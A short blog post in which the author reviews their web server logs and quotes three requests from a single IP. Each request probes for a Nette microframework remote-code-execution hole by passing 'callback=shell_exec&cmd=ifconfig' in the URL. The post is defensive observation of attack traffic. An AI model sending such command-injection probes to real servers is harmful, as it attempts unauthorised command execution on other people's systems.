2020-10-13
Searching for a vulnerable framework found in weblogs 3 months ago
I had a look at some weblogs and after removing the entries caused by webbots most of the rest of the traffic was attacks. All on stuff I don't have (usually wordpress), but one thing was noticeable:37.59.47.61 - - [13/Oct/2020:00:17:34 +0200] "GET ////nette.micro?callback=shell_exec&cmd=ifconfig HTTP/1.1" 404 747 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36" 37.59.47.61 - - [13/Oct/2020:00:17:41 +0200] "GET /////nette.micro?callback=shell_exec&cmd=ifconfig HTTP/1.1" 301 715 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36" 37.59.47.61 - - [13/Oct/2020:00:17:43 +0200] "GET /nette.micro?callback=shell_exec&cmd=ifconfig HTTP/1.1" 404 747 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"From what I've found about the 'nette microframework' there are callbacks, but none of those is called shell_exec.